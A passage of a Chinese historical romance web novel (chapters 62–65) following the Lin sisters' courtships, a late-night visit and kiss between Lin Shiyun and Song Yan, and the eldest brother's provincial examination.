看到是魏承泽,林诗意没来由的放下了戒心,伸出手来接过帕子,道了声谢,这才转身擦净脸上的泪珠。 美人落泪,是没有什么鼻涕泡的,举手投足都如画一般好看。 林诗意的眼圈和鼻尖都有些红,她收拾好心情,转身施礼道:“是意儿失礼了,多谢魏公子。” 魏承泽赶忙还礼,只看了她一眼便结结巴巴道:“姑娘多礼了,魏某只是,魏某只是,” “魏某一直在等姑娘,希望能再次见到姑娘,姑娘,” 魏成泽有些过于激动。 林诗意这下是真的震惊到了,这人在说什么啊? 魏承泽慌乱的解释,“姑娘,姑娘别怕,魏某不是登徒子,魏某只是,只是对姑娘一见钟情这才,这才,” 这才出此下策,在此蹲守的。 林诗意明白过来了,只是这人太唐突了些,没看到她刚才还在哭吗,怎么这上来就跟自己表白了呢。 林诗意也不回应,只低着头轻轻的嗯了一声。 魏承泽觉得自己有些乱到口不择言了,他着急道:“唐突姑娘了,魏某见到姑娘实在有些激动,只是不知姑娘可是遇到难处,为何,为何在此哭泣呢。” 林诗意忽然觉得这人乱了阵脚的模样有些好笑,扬了扬手里的书道:“看话本子看的,有些伤感罢了。” 魏承泽这才松了口气,想到刚才所作所为,面色越来越红,他今日这是干了什么事啊,口不择言,实在失礼,他,他真的是,哎。 林诗意看着魏承泽在那焦急到转圈的模样,终于噗嗤一声笑了出来。 林诗意的心中也有些意动。 他刚刚说心悦她? 礼部侍郎的二公子?手帕交的兄长 她觉得这人似乎还可以,除了有些冒失,不怎么会说话,家世相貌都算可以,若是嫁这人,也不错啊。 这么想着,林诗意便笑的更真心了些,她含羞带怯的看了魏承泽一眼,魏承泽被这一眼迷的五迷三道的,小心脏跳的扑通扑通的,只听林诗意咬了咬唇道:“不知魏公子可知晓我家中两位姐姐的亲事?” 魏承泽接收到信号,脑袋轰的一声,只觉得他有戏! 忙道:“知,知道,三姑娘,我知道的,我都能做到!真的!” 魏承泽急急解释,“我家风纯正,父亲并无妾室,兄长已经娶亲,妾室通房也都没有,我,我也不会,一辈子都不会,我发誓!” 林诗意抬眸看着他,满意点头,又问道,“公子可是要参加今年秋闱?” 魏承泽不住的点头,“参加,我,我不曾懈怠,每日都认真读书的,姑娘不要误会,在书局我也是一边看书一边等姑娘的。” 魏承泽十分激动,生怕说错了话,他身上已经被汗湿了,但一双眼睛还是紧紧的看着林诗意,生怕自己有哪里说错引起林诗意的不适。 林诗意又点点头,见他还是那般紧张,嗔了他一眼道:“公子不必紧张,意儿不曾误会公子,公子若是想求娶……便待秋闱中举那日,去我府上提亲吧。” 言罢林诗意已经羞成了大红脸,她低下了头,又飞快的抬眸看了魏承泽一眼,“我该回去了,公子且用功读书,莫忘了便是。” 魏承泽呆愣的站在那里,眼看林诗意转身要走,便一把扯住了林诗意的袖子,又觉得失礼,送松开手焦急的问道,“姑娘说的可是真的?” 林诗意哼了一声,将手上魏承泽的帕子扔还给他,撅着嘴道了 句“你不信就算了”转身便要走。 魏承泽却是十分激动的接住了帕子,“信!信!意儿等我!一定要等我啊!” 林诗意在转角又转身看了他一眼,眸中似乎有千山万水无尽的温柔,她轻轻的嗯了一声,这才真的走了。 此后,魏承泽便打着魏静儿的名义同林诗意来些书信,林诗意偶尔会回上一封,信上的内容其实没什么露骨的,只是诉说着对林诗意的思念及喜欢。 林诗意也渐渐对他了解更多,心里也产生了一些微妙的情感。 兴许是快要秋闱了,这日魏承泽的书信上便再次出现了“待吾秋闱中举之日便是上门提亲之时”,而又非常巧的被林诗芸给看到了而已。 林诗芸惊的目瞪口呆,“姐姐也,就见了两次面,你就敢跟人私定终身?!你疯了啊!” 林诗芸像个没了头的苍蝇一般转来转去,边走便摇头,“不行,这事不行,还得着人打听打听才行,三姐姐,你听我的,这人必须得打听清楚了,不能他说什么便是什么!” 林诗意忙将她安抚下来,看着她焦急的模样,林诗意心生愧意,扯着她的手道:“我差人查过了,此人品行不错,同我也挺合得来,我是真觉得他不错,你且放心吧,前日母亲也找我过,礼部侍郎夫人其实来过府上,跟母亲提过此事,母亲前日便问过我的意见,我是同意了的。” “虽然一开始我是想着随便找个人嫁了,觉得这人的条件尚可,便冲动之下叫他来提亲,但是现在,我发现,我同他还挺聊得来的芸儿放心好不好。” 这么说着,林诗意又害羞起来。 林诗芸听罢,盯着她看了半晌,见她的模样不似作假,这才勉强的点了点头。 只是她回了院子之后想了又想,提笔简单写了封信,叫听雨差人递去端王府给宋晏。 她想叫宋晏帮着查查魏承泽的本性到底如何,三姐姐能不能嫁。 这边忙活完便已经到用晚膳的时间了,听雨怀里揣着信出了门,林诗芸脑袋里想着三姐姐的事情,一不小心便少用了些晚膳。 这不,大半夜的又饿的爬了起来。 只是她刚坐起来,便就着月光看到一鬼鬼祟祟的身影从窗外蹦了进来。 林诗芸顿时清醒,摸出枕头下面的簪子便做防御状,待那身影走近,便猛的刺了过去。 她皱着眉头用尽全身的力气刺向对方,不料来人伸手矫健,迅速闪过并且在林诗芸要张大嘴巴呼救的时候发出了声音。 “芸儿,是我。” 林诗芸被气的猛的拉开窗幔,气鼓鼓的看向对方。 月光将室内照的透亮,宋晏一张俊脸清晰的落在林诗芸眼前。 宋晏摸了摸鼻尖,忙讨好的看向林诗芸道:“芸儿别生气,白日里收到了芸儿的信件询问别的男子,芸儿也不说明情况,我心里焦急便翻墙进来了。” 月余不见,芸儿也不想他,乍一给他递信还是打听别的男人,他能淡定就奇了怪了。 林诗芸皱着眉头静默了半晌,回想自己下午递的信件,确实只是简单几句话,并没有详细的说为何要叫宋晏调查魏承泽,这么说的话确实是自己不对,但是晏哥哥也不能大半夜的跑到自己闺房啊! 她这,猛的反应过来自己穿的轻薄,忙转身扯了外衣披上了。 宋晏轻咳两声,虽说今夜月光不错,但是他发誓,他并没有看到什么不该看的,真的没有。 就是一想到芸儿那窈窕身姿在轻薄的里衣下若隐若现的,他的呼吸都有些粗重了 第63章 林诗芸是真的生气了,她连忙将外衣穿好,又羞又恼地看着宋晏,眼泪都快要掉下来了,“晏哥哥!这是我的闺房!你怎么能如登徒子一般!你将我当成什么了!” 宋晏一看林诗芸真的生气了,冷汗一下便冒出来了,他手忙脚乱的开始解释,“是哥哥不对,芸儿别哭啊,我是因为焦急,加上,已经月余未见你,我,我实在想你……” 宋晏小心的走到林诗芸身前,轻手轻脚的帮她擦着眼泪,“芸儿别哭好不好,芸儿哭,哥哥心疼,” 林诗芸躲过他的手,呸了一声,“油嘴滑舌!登徒子!” 宋晏叹息一声,看着她认真道:“是真的,哥哥真的很想芸儿,这么长时间芸儿都没有消息,突然递出的信件还是为别的男子,哥哥怎么能不着急呢?” 林诗芸抽了抽鼻子,撅着嘴道:“那是我三姐姐喜欢的人,我不知道他值不值得三姐姐托付终身,便想叫你帮着查查,你焦急也不用大半夜的翻墙啊,你写信问我,我又不是不能解释。” 宋晏将她的眼泪擦净,低头轻轻亲吻着她的额头,又将她紧紧的拥在怀里,“可是芸儿,因为是你,我总会乱了分寸,我,对不起啊芸儿,哥哥给你道歉,吓到你了对不对。” 这阵子,关于林诗芸的消息,宋晏都只是从暗卫的嘴里听到的,暗卫还只能远远的观察,不敢探到侯府内部来。 见不到芸儿,每日宋晏一忙完公务便亲自去准备聘礼,如此他心里才会舒服一些。 林诗芸又哼了一声,心里其实已经没那么生气了,她磨磨蹭蹭的上前主动抱住了他的腰,撅着嘴道:“也怪我没有同晏哥哥你说清楚,算咱们扯平了,你之后断不能再做翻墙的事了。” 侯府守卫比王府不差什么,护卫里高手众多,万一宋晏被发现,受了伤就不好了。 宋晏勾了勾唇角,知道林诗芸是为他考虑,他轻轻吻了吻她的长发,嗯了一声,道:“好,以后哥哥定不会如此鲁莽了。” “只是芸儿这一月一点消息也没有,我托君远给你送的物件你可有收到?芸儿可想我?” “什么物件?小玩意吗?” 林诗芸摇摇头,她并没有收到。 宋晏猜想应是被林诗情给拦了下来,便没再继续问下去,只道,“一些小玩意,不重要的,芸儿可想我?” 林诗芸有些不太好意思,轻轻的嗯了一声。 想是肯定想的,半夜睡不着脑海里总是会冒出晏哥哥的身影,林诗芸小脸红扑扑的,笑着拿额头蹭了蹭宋晏的肩膀。 美人不仅在怀,美人还一直乱动。 宋晏身上的体温越来越高,林诗芸感觉有些热了,便轻轻推了推他,噘着嘴道了一句,“热,” 宋晏却不愿放开她,“哥哥说几句话便走,叫哥哥再抱一会儿好不好。” 林诗芸看着他可怜巴巴模样,有些意动,双手攀上了他的脖颈,亲了亲他的唇道,“好。” 宋晏被她勾的小腹像是有一团火,他生生的忍了下来,不敢太过激动。 林诗芸觉得宋晏的唇还挺好亲的,冰冰凉凉的,像冰激凌一般。 厢房内的冰鉴还在冒着冷气,窗外时不时有些凉风吹来,倒没了刚才的热意。 宋晏轻舒口气,低头望着她,他忍得难受,却不能不忍,低声道,“哥哥差人查了,暗卫来的消息很快,此人秉性不错,交际简单,魏大人夫妻和睦,几个孩子也都不错,芸儿可还有什么想知道的?” 林诗芸歪着头想了想,“他可有通房妾室一类的,从前可有爱慕的女子?” 说完又撇了撇嘴,“哼,不能他说什么就是什么,万一他说了谎,我三姐姐不就吃亏了。” 宋晏瞧着林诗芸傲娇的小模样十分可爱,低头轻轻咬了咬她的唇瓣才道,“此人品行端正,芸儿说的那些都没有。” 林诗芸点点头,那还成,三姐姐能嫁。 只是她眼珠子一转,仰着头故意问道,“那晏哥哥可有通房妾室?可曾,可曾有过喜欢的女子?” 宋晏被她问的笑出了声,林诗芸噘着嘴羞恼道,“笑什么笑!好好回答!” 宋晏不笑了,却忽然变得一本正经起来,他注视这林诗芸一双桃花眼,眸子专注认真,“没有,宋晏没有通房,也没有妾室,在宋晏的心中,无论是从前,现在,或是将来,都只有芸儿一人,芸儿相信晏哥哥,好不好。” 林诗芸唇角的笑意如春花般灿烂,看着他的眸子亮亮的,如今夜璀璨的星辰一般。 林诗芸觉得自己浑身像是要被火烧起来一般,心里满满的,涨涨的,甜蜜的不像话。 不知是谁先开始的,二人的唇又吻在了一处。 这一次的唇齿相融,林诗芸自己好似一会儿在水里,一会在云端,一会有好似被火烧一般,沉浸其中无法自拔。 宋晏觉得芸儿的唇像是如蜜糖,他们唇舌纠缠不分彼此,无尽的爱意全部化在了这个吻里。 好半晌,宋晏终于放开了林诗芸。 林诗芸只觉得双腿发软,她趴在宋晏的怀里,不住的喘 着cu气,脸颊潮红如霞。 宋晏其实并不满足,他想要更多。 但是他不能继续了。 他轻轻抚摸着林诗芸的长发,慢吞吞的说出了今夜的目的,“我明日要替太子南下一趟,约莫月余才能归来,芸儿要想哥哥,常给哥哥写信好不好。” 林诗芸眸子闪了闪,好半晌才嗯了一声,也知道这才是他今日来的最终目的,她抬起头,不甚放心问道,“可会有危险?” 宋晏轻笑着摇头,大手轻轻的帮她整理额前的碎发,“并没有,芸儿且放心。” 林诗芸盯着他看了看,叫他表情不似作假,这才放心的点了点头。 撅了撅嘴,又问道,“明日一早便走吗?” 宋晏点点头,“明日一早便走。” 林诗芸嘴撅的更甚了,双手再次攀上了他的脖颈,挑眉道,“那,再亲一次好不好?” 宋晏唇角勾起,笑容肆意,用实际行动像她证明什么叫做,如你所愿…… 翌日林诗芸起晚了。 她是被林诗情给揪起来的。 林诗情望着妹妹肿起来的唇瓣,一脸的若有所思,最后她还是问了出来,“芸儿的嘴怎么肿了?” 林诗芸睁开眼便看到了盯着自己看的二姐姐,待听到姐姐的问题,昨夜同宋晏的亲吻瞬时间冒了出来,后背瞬时间便冒了冷汗,她故作迷茫的揉了揉眼睛,嗯了一声道,“应是昨日晚膳吃了太多辣椒,辣到了。” 林诗情点点头,妹妹贪吃,也爱吃辣菜,“吃那么多辣椒作甚,今日叫小厨房多做些凉茶给你下下火,赶紧起来吧,我若不来你是不是要直接起来用午膳了。” 林诗芸挠挠头,看看外头的太阳,确实是有些晚了,再睡一会就能直接用午膳了。 于是朝林诗情讨好的笑笑,麻利的起床了。 林诗情一早没听到隔壁院子的动静,心中疑惑,这才过来的。 平时林诗芸是闹腾的,不是叽叽喳喳的叫丫鬟给冰镇水果,便是不知又跑到哪个姐姐院里玩去了。 虽说林诗芸会睡懒觉,但从来也未曾像今日这般,眼看就要到午时了。 林诗情放下心中的疑虑,询问林诗情可要参加县主的宴会,再不去便晚了。 林诗芸自然是拒绝的,虽说马上到八月,天气还是热的很,她才不愿意出门呢,在府里吃吃喝喝多好呢。 林诗情也知道她懒,也便没再说些什么,叫她赶紧起来,自己则是起身要走。 林诗芸抿了抿嘴唇,她觉得嘴唇肯定肿了,姐姐肯定看出什么来了,她唤了声姐姐,又不知道怎么跟姐姐坦白,看着姐姐有些欲言又止的。 林诗情问她何事,她又摇摇头说无事。 林诗芸觉得,就像是她不喜欢表哥一样,姐姐定也是不喜欢宋晏的。 所以她不知如何开口…… 林诗情觉得最近妹妹有些奇怪。 具体表现就像现在这般,老是看着她欲言又止的,当她问妹妹可有话说的时候,妹妹却又摇摇头,怎么都不肯说。 林诗情也便不问了,她今日是要出门的。 林诗情也不去参加县主的宴会,林诗瑶同林诗意二人已经收拾好了,整装待发呢。 林诗情同姚君远要去约会,这时候姚君远已经来了,正等在府门外。 林诗芸叹了口气,挥挥手叫下人都退下,自己也是照起了镜子。 这一看是真的吓一跳,昨日亲的太厉害了,确实又红又肿的…… 想起昨夜,林诗芸老脸一红,她莫不是被宋晏给下了药了,怎么能那么主动呢。 摇摇头叫自己清醒,又想到宋晏月余才回来,罢了,亲都亲了,后悔不得。 哎,那今日便多喝些凉茶下火消肿吧。 林诗情同姚君远用了午膳之后边去了戏园,虽说天儿也渐渐凉快了一些,但也还是热的很,不是出门郊游的时候。 二人也并不是经常见面,偶尔姚君远约她出门,吃吃饭聊聊天,姚君远便将林诗情送回去了。 今日二人边听戏边聊天,姚君远随口一句宋晏那小子今日替太子南下了,他正忙着准备聘礼呢,说是待秋日待芸儿及笄了便求陛下赐婚。 林诗情没有惊讶,她就知道宋晏早晚会来这一出,她皱着眉头思趁了很久,待归家时便去找了母亲说了此事。 不料姚氏却是了然的点点头,见大女儿脸色并不好看,拍了拍大女儿的手轻声道:“这事娘亲已经从你父亲口中知晓,娘亲并不意外。” 姚氏知晓女儿的心思,便道:“娘亲知你与芸儿姐妹情深,对于芸儿的婚事自然十分上心。” 姚氏叹了口气,“其实娘同你一样,一开始是看不上端王世子的,你妹妹率真心善,母亲宁愿她嫁个纨绔,也好过她嫁去王府,她面对的不仅是王府偌大的产业,甚至可能还有一后院的女人。宋晏可能没有,他那个风流成性的父亲,可是闹了不少的笑话的。” 姚氏看了女儿一眼继续道:“其实你父亲一开始同咱们一样,也不愿叫你妹妹嫁给宋晏。可后来端王夫妻和离,端王遣散后院追妻走了,宋晏没了父母之间的烦心事,竟直接去找了你父亲,他不止一次的同你父亲表示自己对芸儿的拳拳之心,后来你父亲也看到了宋晏的决心,尤其是隔壁院子的房契。” 姚氏笑了笑,“你且安心,你妹妹若是嫁了宋晏便会搬到隔壁来住,宋晏还说会开个角门,方便你妹妹回咱们院子来。” 姚氏又说了很多,包括宋晏将名下的资产转移到林诗芸身上这事。 待林父回来,商量这事的又成了三人,林父也说了自己的想法,林诗情也知道了父母的考量,心中对宋晏的看法也改变了很多。 林怀诚叹息一声,看着亭亭玉立快要嫁人的大女儿道:“眼看你们姐妹就快要嫁人了,你舅舅也在同父亲商议你和君远的婚期,作为父母,我们自然是舍不得你们的,可作为女子,哪有不嫁人的呢,你嫁到外祖家,我同你母亲是十分放心的。至于你妹妹” “芸儿长的好,那宋晏打你妹妹的注意也不是一天两天了,这事儿天家和太子怕早就知道的,你妹妹早就在天家那里挂上号了……” “情儿且放心,为父同宋晏谈过许多,他是个可以依靠的,同端王不同,我和你母亲,也是经过深思熟虑,既然逃不开,且你妹妹也喜欢,咱们索性欢欢喜喜的成全便是了。” * 这一夜,林诗情躺在床上,翻来覆去的睡不着。 妹妹确实是喜欢宋晏的,这点林诗情看的出来。 她还是觉得宋晏不好,他一个亲王世子,若是照顾不好妹妹怎么办?万一哪一日再厌弃了怎么办?人说有其父必有其子,现在他同端王不同,难保以后不随了他父亲啊? 这一夜,林诗情是真的辗转反侧,一夜未眠。 她终于体会到了林诗芸当初的心情,看不上对方的未婚夫,怎么都看不上。 翌日一早林诗情用完早膳,忍了又忍,还是决定去找妹妹问清楚。 想了想,她又拿上了之前表哥说带给妹妹玩的小物件。 她知道是宋晏给芸儿的,便给挡了下来。 现在,她觉得该物归原主了。 彼时林诗芸才刚坐下用早膳。 昨晚她睡的早,今日醒的也早,正捧着一碗香甜的红豆粥喝着呢,林诗情便来了。 林诗情也不在用膳的时候说,直叫林诗芸先用膳,将东西放在榻上,自己则是在选了本话本子看了起来。 林诗芸看了眼姐姐拿的匣子,心中有了些许猜想。草草的填饱了肚子,净了手便小心翼翼的坐到姐姐身旁。 “姐姐,是有什么事情吗?我怎么瞧着你有些不高兴?” 因为心里有事,林诗情一夜翻来覆去的确实没睡着,所以气色便不是很好。 林诗情打量着妹妹好看的面容,轻轻笑着摇摇头,道:“无事,就是有些事情没想明白。” 林诗芸抿着嘴,看着姐姐欲言又止的,心里在思趁着该怎么同姐姐说自己同宋晏的事情,她若是贸然说明,姐姐若 是一时接受不了怎么办? 姐姐不喜欢宋晏,若是姐姐生气了怎么办? 林诗情看着妹妹咬着唇看着她,明显心中有事的模样,轻声问道:“芸儿可是有事瞒着姐姐?” 林诗芸看了姐姐一眼,又迅速的低下了头。 林诗情叹了口气,将一旁的匣子打开,“这里全是宋晏给你的,” 林诗情看着抿着嘴看向匣子的林诗芸直接问道:“芸儿对宋晏是什么想法?” 林诗芸吓了一跳,猛的抬起了头,结结巴巴道:“姐,姐姐知,知道了?” 林诗情瞬间变了脸色,知道了? 她皱着眉头,试探性的道:“你们,是从何时开始的?” 林诗芸咬着唇,也不敢看姐姐,小声道:“就,就上次跟爹爹出门游玩,下大雨那日” 林诗情闭了闭眼睛,深吸口气,已经这么久了吗? 林诗情一时间不知道说些什么了。 林诗芸小心的抬眸看了眼姐姐铁青的神色,支支吾吾道:“姐姐别生气,我不是故意瞒着姐姐的,我就是,就是不知道该怎么跟你说” 林诗芸看着姐姐的模样顿时有些着急了,眼泪瞬间蓄满了眼眶,她伸手扯着姐姐的袖口,小心翼翼道:“我知道姐姐不喜宋晏,但是我,我控住不住自己的心意,他说心悦于我的时候,我的心都快跳出来,我觉得我应该是喜欢他的,” 林诗芸抽了抽鼻子,眼巴巴的望着姐姐,“姐姐想知道什么我都说,姐姐别生气好不好。” 林诗情看着妹妹如此小心翼翼的模样,没忍住叹了口气,拿过一边的帕子帮林诗芸擦着眼泪道:“姐姐没生气,姐姐只是觉得最近太过忽略了你,芸儿莫哭了,姐姐真的没生气。” 林诗情怀疑宋晏是用了手段才将妹妹给拿下的。 其实她一直能看出来妹妹对宋晏的特殊喜欢,尤其喜欢宋晏这张脸,一直以来她都知道宋晏在妹妹心里的特殊位置。 但是她还是不喜欢宋晏,就如妹妹不喜欢表哥一般,她觉得他是带着心机靠近妹妹的。 不过现在,她理解妹妹了,毕竟她也接受了表哥,妹妹接受宋晏,也是情理之中的事情。 林诗芸眨巴着眼睛,惊讶的看着姐姐,“真的吗?姐姐不生气?” 林诗情摇摇头,“姐姐只是觉得,姐姐的芸儿,值得更好的,世上最好的男子。” 林诗芸抽了抽鼻子嘿嘿傻笑,伸手抱住了姐姐的腰,趴在姐姐肩头道:“可是姐姐,宋晏已经是大兴数一数二的男子了,长得俊俏,家世显赫,对我也好,已经很好啦。” 林诗情皱着眉头想了想,确实也是这么回事啊,妹妹喜欢俊俏的,大兴还真没有比宋晏还俊俏的男子了。 这么想着,林诗情也便点点头,道:“姐姐已经能理解芸儿当初的心情了,虽然姐姐现在还不是很喜欢宋晏,但是只要他对你好,姐姐便支持你,若是哪日他敢待你不好,姐姐定会找上门去,抢也要把芸儿给抢回来的。” 林诗芸听到眼泪汪汪的,抱着姐姐的腰恍啊恍的,只给林诗情也恍出了眼泪。 她的芸儿啊,也长大了。 第64章 终于到了林景行上战场的时候。 满府的人都怀着紧张的心情目送林景行去考场。 只见林诗芸眼珠子一转,一个箭步便窜到林景行身前,郑重的握住了大哥哥的手,一脸严肃道:“大哥哥,你知道的,芸儿从小运气便好,芸儿今日便将自己的好运传递给大哥哥,大哥哥此次考试,定能一举中的!咱们不考第一名,大哥哥就用平常心对待,随随便便考个第二名回来便好。” 眼看着小女儿越说越离谱,林父伸手便要将林诗芸给扯回来,便见侯爷一把拉住了二弟,对林父使了眼色,示意他继续听。 林景行被四妹妹逗的心中的紧张感顿时消散了大半,只听林诗芸又郑重道:“大哥哥,我已经将好运传递给你了,你这次考试,座位会不前不后且空气流通,不会靠近臭号,周围也不会有睡觉打呼噜的考生,你且放心,幸运之神已经降临到你身上了,你只管放手去考,不用太过紧张,意思意思考个第二名就成,这个成绩在咱家就够用了,不然等三年之后我二哥三哥会有很大压力的。” 突然被点名的林景明和林景晟对视一眼,林景明觉得自己应该能考最后一名,林景晟觉得,嗯,他秀才都考不上。 林诗芸说的差不多了,便放开了林景行的手,她朝着林景行重重点头,摆摆手道:“好了好了,大哥哥赶快去吧,别紧张,等考完那日芸儿去接你啊。” 林景行一颗心温暖的不像话,他揉了揉四妹妹的头发,笑着道:“好,那大哥哥哥便随随便便考个第二名回来给四妹妹瞧瞧。” 林诗芸嘿嘿的笑着不住点头,林景行又朝身后的长辈躬身行礼,转身上了马车。 眼看马车渐行渐远,林父伸手便要去拧小女儿的耳朵,却见侯爷一把拍掉了二弟的手,瞪了二弟一眼又笑眯眯的对着林诗芸道:“小芸儿告诉大伯,芸儿怎么这么肯定你大哥能考第二名的。” 只见躲在二姐姐身后的林诗芸露出了个脑袋,得意道:“大伯忘了,我自小便是咱家的福星呢,我说能考第几,肯定能考第几啊,再说了,我大哥哥的实力摆在那,考个第二不是小意思。” 林父哼的一声,白了作怪的女儿一眼,“惯会胡扯,你怎么不直说你大哥考第一呢。” 林诗芸却是对亲爹撇撇嘴道:“爹爹,你怎么这么糊涂啊,我大哥是有考第一的实力,但是咱们不能逼着他考第一啊,第一太过冒头了,第二就很好啦,” 林父看着小女儿直摇头,这个鬼灵精的,直接说不想叫她大哥带着压力去考试便好了,胡言乱语了这么多作甚。 但是说实话,林景行确实是有考解元的能力的,书院的几位大儒都很看好林景行。 外头赌坊有专门针对此次乡试设的赌注,林景行便是那热门人选之一。 两位夫人都已经摇着头离开了,林诗瑶捂着嘴笑着道:“二叔,我觉得芸儿说的很有道理,芸儿这般懂事,您应该夸赞才是,可不能训斥。” 林诗情身后的林诗芸冲大姐姐伸出了个大拇指表示大姐姐说的对,小模样得意的,尾巴都快翘道天上了。 那边侯爷大伯捋着胡子说话了,“不若这样,若是被芸儿说中了,你大哥真考了第二名,大伯便奖励芸二百两,不,五百两银票如何?” 林诗芸一听有银子拿,眼睛顿时发亮,蹭的一下便从林诗情的身后跑出来了,冲着侯爷大伯不住的点头,“好好!大伯说话算话,若是大哥哥拿了第二名便给芸儿五百两!” 侯爷大手一挥,“自然,本侯自是一言九鼎。” 林父翻了个白眼,不甘示弱也道了一句,“若是你大哥真拿了第二名,爹爹便也给你二百两,怎么样,哼,还真能叫你说中了?你说考第几名就能考第几名?呵,那些考官不要面子的吗?” 林诗芸才不管那些呢,反正她心里有很强烈的预感,大哥哥不是考第一名就是考第二名的! 侯爷倒是不以为意,芸儿在府内说的,又没在外头说,侯府的下人便是吃了熊心豹子胆也是不敢将此事传出去的,就是传出去了又能怎的?还不准家人下注猜测名次了? 于是,被林诗芸这么一闹腾,去考试的林景行没了紧张,家人也不再着急,林诗芸还满心的期待那七百两的银票,啧啧,皆大欢喜啊。 笑闹了一阵后,该上学的上学,该上值的上值。 姐妹四个往后院走。 林诗意抿着嘴,扭扭捏捏的过来了,看着林诗芸支支吾吾的,那小表情林诗芸一下便猜出来了。 前几日林诗意已经同大姐二姐说了自己同魏承泽的事情,当然了 ,隐去了情信,只说她在书局见过那人两次,那人据说对她一见钟情,其母亲更是来府上提了二人的婚事。 林诗瑶同林诗情并未多想。 林诗瑶是觉得林诗意没那个胆子同人私相授受,她专门去同母亲商量过这事,母亲是极为同意的,又同她分析了魏府一家的情况,林诗瑶还专门叫郑子墨带着她去偶遇了魏承泽,她观察了半晌,也从郑子墨的嘴里听了一些魏承泽的情况,综合下来便认同了此事。 侯爷爹倒是想再留二女儿两年的,但听妻子说二女儿中意魏承泽,难得二女儿喜欢,虽是下嫁,但这魏家确实不错,他便也没发表什么意见。 林诗芸坏笑着看着林诗意道:“三姐姐可是想问三姐夫啊?” 听听,这小嘴就会使坏。 林诗意有些羞恼的看着林诗芸,跺跺脚道,“你不准乱叫,你说不说,不说我走了啊!” 林诗芸这一大早便神神叨叨的,林诗意自然也想从林诗芸嘴里听到心上人的好名次。 林诗芸嘿嘿一笑扯着林诗意的胳膊道,“三姐姐别生气嘛,让我掐指一算,姓魏那小子能取得什么样的名次呢。” 言罢还真的伸出了手来掐着手指算了起来,那眉头紧紧皱着嘴里还叨叨着什么,给林诗意唬的一愣一愣的。 林诗瑶和林诗情忍笑看她做法,好半晌林诗瑶忍不了了,一巴掌拍了过去,“别装模作样的吓唬你三姐姐,赶快说!” 林诗芸也不生气,乐呵呵的朝大姐姐吐了吐舌头,对林诗意笑道,“三姐姐且放心,人逢喜事精神爽,一顺百顺!有你的心意加成,三姐夫定能取得好成绩的,我估摸着,名次不会太低,虽然比不过大哥哥,但应该也会在十五名之内,你且放心吧。” 林诗芸也不是胡诌的,宋晏走的那日差人给她送来了暗卫调查的魏承泽的资料,她一看这人确实不错,在书院的成绩也是名列前茅的。 就这种成绩,中举是必然的,且名次不会太低,于是她说了十五名以内的成绩,也不算太扯。 林诗意这下满意了,四妹妹都这么说了,她心里就更有底了。 这次秋闱有京周不少秀才参加,能取得举人名次的也就二三十名罢了。 林诗芸又低着头,小声来了句,“三姐姐放心,三姐夫定能中举,不会耽误来提亲的。” 给林诗意气的嗔了林诗芸一眼,又羞又恼的跺跺脚跑走了。 林诗瑶上前一下捏住了林诗芸的耳朵,“我看你是欠揍了,小嘴巴巴的胡扯什么呢。” 林诗情忙去护着妹妹,“好了大姐姐,别动手打人,本来芸儿就不太聪明,给打傻了怎么办。” “二姐姐!我才不傻呢!” * 正是八月,秋老虎猛烈的时候,还是比较热的。 相对于春闱的天寒地冻,秋闱的热烈并没那么难熬。 林景行的运气极好,他的位置离臭号极远,周围都是他不认识的考生,看着都不是多事之人。 林景行淡然一笑,他果真是得了四妹妹的运气吗。 他将带的东西一件一件的拿了出来。 因着天还是热,他没有带过多的饭食,只带了一些林诗芸同几个厨娘折腾了半月折腾出来的牛肉干和芝麻粉。 当然,各种应急的药丸林景行也是带了的。 府医花了一月的时间专门制作的,颗粒都比较小,很容易过了检查。 同时他也定了贡院的饭食,能吃便吃,不能吃便用带的饭食对付几口。 而待考卷一发下来林景行便笑了,压对题了。 秋闱也叫乡试,考三场,一次三日,共九日六夜,考生须提前一天进入考场。 这九日,侯府众人同林景行一样煎熬。 这日天是出奇的热,只是当天晚上却忽然下起了雨,众人也都松了口气,雨后果然凉爽了许多。 终于到了最后一日了。 林诗芸打扮的漂漂亮亮的,怀里抱着给大哥哥炖的鸡汤早早的等在贡院外头。 林诗芸闹腾着同林景晟一起出来接人,众位长辈知道她们兄妹感情好,也便由着林诗芸去了。 林诗芸脖子伸得长长的,眼看贡院的门打开,等了不是很长时间,终于看到了大哥哥。 兄妹俩小跑着上前一人一边抱住了大哥哥的胳膊,兴奋地扶着林景行往自家马车走。 林景行被二人紧张的模样逗笑了,摇摇头道:“大哥无事,还没虚弱到用你二人搀扶着地步。” 说完林景行又笑着同后边出来的考生说话。 林诗芸好奇转头一看,咦,竟是那个穷书生。 林诗芸见这穷书生精神竟然也不错,撇撇嘴,同林景晟二人眼神交汇,眉来眼去的蛐蛐人家。 只听庄子文对林景行抱拳道:“还得感谢林兄赠与的丹药和饭食,庄某第二场时,多亏了那牛肉干和芝麻糊救的命啊。” 他是自己带的饭食,只是没想到他那两日天热,一日饭食就馊了,只好用牛肉干和芝麻糊果腹,叫他没想到的是,那芝麻糊不仅香甜,里头应还放了补品,他喝完下笔好似如有神助。 林景行笑着摇头道:“那肉干和芝麻糊是家妹制作的,说是吃了便有超能力,庄兄不必客气,同为考生,能帮到庄兄便可。” 庄子文看到了躲在林景行身后的粉色衣裙,抱拳行了行礼,林诗芸伸出头来,做了个鬼脸。 哼,她可是放了不少的好东西呢,能不好吗,又不是做给他吃的,他谢个屁! 林诗芸撅了撅嘴,扯了扯林景行的衣裳,林景行会意,这才同庄子文道别。 林诗芸还是搀扶着林景行的胳膊往马车走,嘴里叽叽喳喳的,“大哥哥,我一早便喂了鸡汤,咱们快上马车喝了垫垫肚子,这几日肯定累坏了吧,考都考完了,什么都别想啊,听我的,先垫吧两口,回府大吃一顿好好睡上一觉才是……” 庄子文艳羡的看着三人离开的背影,心中有些意动。 身着女装的小姑娘果然好看,若是,若是他能娶她为妻就好了…… 第65章 终于考完了试,林景行在府上修整了两日便又开始忙活了,来年春闱在即,强者从不曾懈怠。 离出榜还早,等待像是个磨人的妖精,叫参加秋闱学子的家人盼啊盼的,一天天的算着日子过。 在等待放榜的同时,定安侯府还敲定了一件大事。 林诗情的婚期定了。 同林诗瑶的婚期只相隔了一月,这是两家商议又商议之后的结果。 任谁家也是不想太早嫁女儿的,但是四月温度适宜,婚服繁琐厚重,新娘子不会太过遭罪。 当父母的自然是想多留女儿些日子,但架不住人家男方焦急啊,尤其是姚君远,恨不得明天就将林诗情给娶回去。 求高僧算的黄道吉日是四月初六和十月初二,经过一段时间的商议,最终定到了四月。 中秋节那日,宋晏赶回了京中。 他人虽未至,却早就差人往定安侯府送了些庄子上的新鲜蔬果和大闸蟹。 